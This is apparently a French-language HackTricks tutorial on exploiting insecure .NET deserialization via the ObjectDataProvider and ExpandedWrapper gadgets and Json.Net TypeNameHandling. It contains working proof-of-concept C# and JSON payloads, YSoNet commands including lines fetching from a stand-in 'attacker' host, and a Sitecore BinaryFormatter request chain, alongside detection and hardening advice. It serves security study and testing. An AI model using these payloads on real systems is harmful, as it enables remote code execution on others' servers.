Désérialisation .Net basique (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Ce post est dédié à comprendre comment le gadget ObjectDataProvider est exploité pour obtenir RCE et comment les bibliothèques de sérialisation Json.Net et xmlSerializer peuvent être abusées avec ce gadget.
ObjectDataProvider Gadget
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ouais, c'est une explication étrange, voyons donc ce que cette classe contient d'intéressant : cette classe permet de wrap un objet arbitraire, d'utiliser MethodParameters pour définir des paramètres arbitraires, puis d'utiliser MethodName pour appeler une fonction arbitraire de l'objet arbitraire déclarée en utilisant les paramètres arbitraires.
Ainsi, l'objet arbitraire va exécuter une fonction avec des paramètres lors de sa désérialisation.
Comment est-ce possible
Le namespace System.Windows.Data, présent dans PresentationFramework.dll à C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, est l'endroit où ObjectDataProvider est défini et implémenté.
En utilisant dnSpy vous pouvez inspecter le code de la classe qui nous intéresse. Dans l'image ci‑dessous nous voyons le code de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Comme vous pouvez l'observer, lorsque MethodName
est défini base.Refresh()
est appelé ; regardons ce que cela fait :
Ok, poursuivons en voyant ce que fait this.BeginQuery()
. BeginQuery
est surchargée par ObjectDataProvider
et voici ce qu'elle fait :
Notez qu'à la fin du code elle appelle this.QueryWorke(null)
. Voyons ce que cela exécute :
Notez que ce n'est pas le code complet de la fonction QueryWorker
mais cela montre la partie intéressante : le code appelle this.InvokeMethodOnInstance(out ex);
— c'est la ligne où l'ensemble de la méthode est invoqué.
Si vous voulez vérifier que le simple fait de définir le MethodName va être exécuté, vous pouvez lancer ce code :
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Notez que vous devez ajouter en référence C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll afin de charger System.Windows.Data
ExpandedWrapper
En utilisant l'exploit précédent, il y aura des cas où l'objet va être désérialisé en tant que une instance ObjectDataProvider (par exemple dans DotNetNuke vuln, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant GetType
). Dans ce cas, il n'aura aucune connaissance du type d'objet qui est encapsulé dans l'instance ObjectDataProvider (par exemple Process
). Vous pouvez trouver plus information about the DotNetNuke vuln here.
Cette classe permet de spécifier les types d'objets des objets qui sont encapsulés dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (ObjectDataProvider) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (ObjectDataProvider.MethodName et ObjectDataProvider.MethodParameters).
Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons capables de envelopper _ObjectDataProvider** à l'intérieur d'une **ExpandedWrapper _ instance et lors de la désérialisation cette classe va créer l'objet OjectDataProvider qui va exécuter la fonction indiquée dans MethodName.
Vous pouvez vérifier ce wrapper avec le code suivant:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Sur la page officielle il est indiqué que cette bibliothèque permet de Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Donc, si nous pouvions deserialize the ObjectDataProvider gadget, nous pourrions provoquer une RCE simplement en désérialisant un objet.
Exemple Json.Net
Tout d'abord, voyons un exemple montrant comment sérialiser/désérialiser un objet en utilisant cette bibliothèque:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abuser de Json.Net
En utilisant ysoserial.net j'ai créé l'exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Dans ce code, vous pouvez tester l'exploit, lancez-le simplement et vous verrez qu'un calc est exécuté :
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Chaînes de gadgets .NET avancées (YSoNet & ysoserial.net)
La technique ObjectDataProvider + ExpandedWrapper présentée ci‑dessus n'est qu'une des NOMBREUSES chaînes de gadgets qui peuvent être abusées lorsqu'une application effectue une désérialisation .NET non sécurisée. Les outils modernes de red-team tels que YSoNet (et le plus ancien ysoserial.net) automatisent la création de graphes d'objets malveillants prêts à l'emploi pour des dizaines de gadgets et formats de sérialisation.
Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.
Chaîne de gadgets | Idée clé / Primitive | Sérialiseurs courants | Commande YSoNet |
---|---|---|---|
TypeConfuseDelegate | Corrompt l'enregistrement DelegateSerializationHolder de sorte que, une fois matérialisé, le delegate pointe vers n'importe quelle méthode fournie par l'attaquant (par ex. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Abuse System.Workflow.ComponentModel.ActivitySurrogateSelector pour contourner le filtrage de type de .NET ≥4.8 et invoquer directement le constructeur d'une classe fournie ou compiler un fichier C# à la volée | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Tire parti de la représentation XML héritée de System.Data.DataSet pour instancier des types arbitraires en remplissant les champs <ColumnMapping> / <DataType> (optionnellement en falsifiant l'assembly avec --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | Sur les runtimes avec WPF (> .NET 5) enchaîne les getters de propriétés jusqu'à atteindre System.CodeDom.Compiler.CompilerResults , puis compile ou charge une DLL fournie avec -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | Utilise WPF System.Windows.Data.ObjectDataProvider pour appeler une méthode statique arbitraire avec des arguments contrôlés. YSoNet ajoute une variante pratique --xamlurl pour héberger le XAML malveillant à distance | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Intègre ScriptBlock dans System.Management.Automation.PSObject qui s'exécute lorsque PowerShell désérialise l'objet | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Tous les payloads sont écrits sur stdout par défaut, ce qui rend trivial de les pipe-er vers d'autres outils (par ex. générateurs ViewState, encodeurs base64, clients HTTP).
Compilation / Installation de YSoNet
Si aucun binaire précompilé n'est disponible sous Actions ➜ Artifacts / Releases, la commande PowerShell one-liner suivante configurera un environnement de build, clonera le dépôt et compilera le tout en mode Release :
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Le binaire compilé ysonet.exe
se trouve ensuite dans ysonet/bin/Release/
.
Détection & Durcissement
- Détecter des processus enfants inattendus de
w3wp.exe
,PowerShell.exe
, ou de tout processus désérialisant des données fournies par l'utilisateur (p. ex.MessagePack
,Json.NET
). - Activez et appliquez le filtrage par type (
TypeFilterLevel
= Full,SurrogateSelector
personnalisé,SerializationBinder
, etc.) chaque fois que les anciensBinaryFormatter
/NetDataContractSerializer
ne peuvent pas être supprimés. - Dans la mesure du possible, migrez vers
System.Text.Json
ouDataContractJsonSerializer
avec des convertisseurs basés sur une liste blanche. - Bloquez le chargement des assemblies WPF dangereux (
PresentationFramework
,System.Workflow.*
) dans les processus web qui ne devraient jamais en avoir besoin.
Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Un sink .NET pratique accessible dans les flux authentifiés de l'éditeur de contenu Sitecore XP :
- Sink API:
Sitecore.Convert.Base64ToObject(string)
appellenew BinaryFormatter().Deserialize(...)
. - Chemin de déclenchement : pipeline
convertToRuntimeHtml
→ConvertWebControls
, qui cherche un élément frère avecid="{iframeId}_inner"
et lit un attributvalue
considéré comme des données sérialisées encodées en base64. Le résultat est converti en string et inséré dans le HTML.
Minimal end‑to‑end (authenticated):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: toute chaîne BinaryFormatter renvoyant une string (les effets secondaires s'exécutent pendant la désérialisation). Voir YSoNet/ysoserial.net pour générer des payloads.
Pour une chaîne complète qui commence pre‑auth avec HTML cache poisoning dans Sitecore et mène à ce sink:
References
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.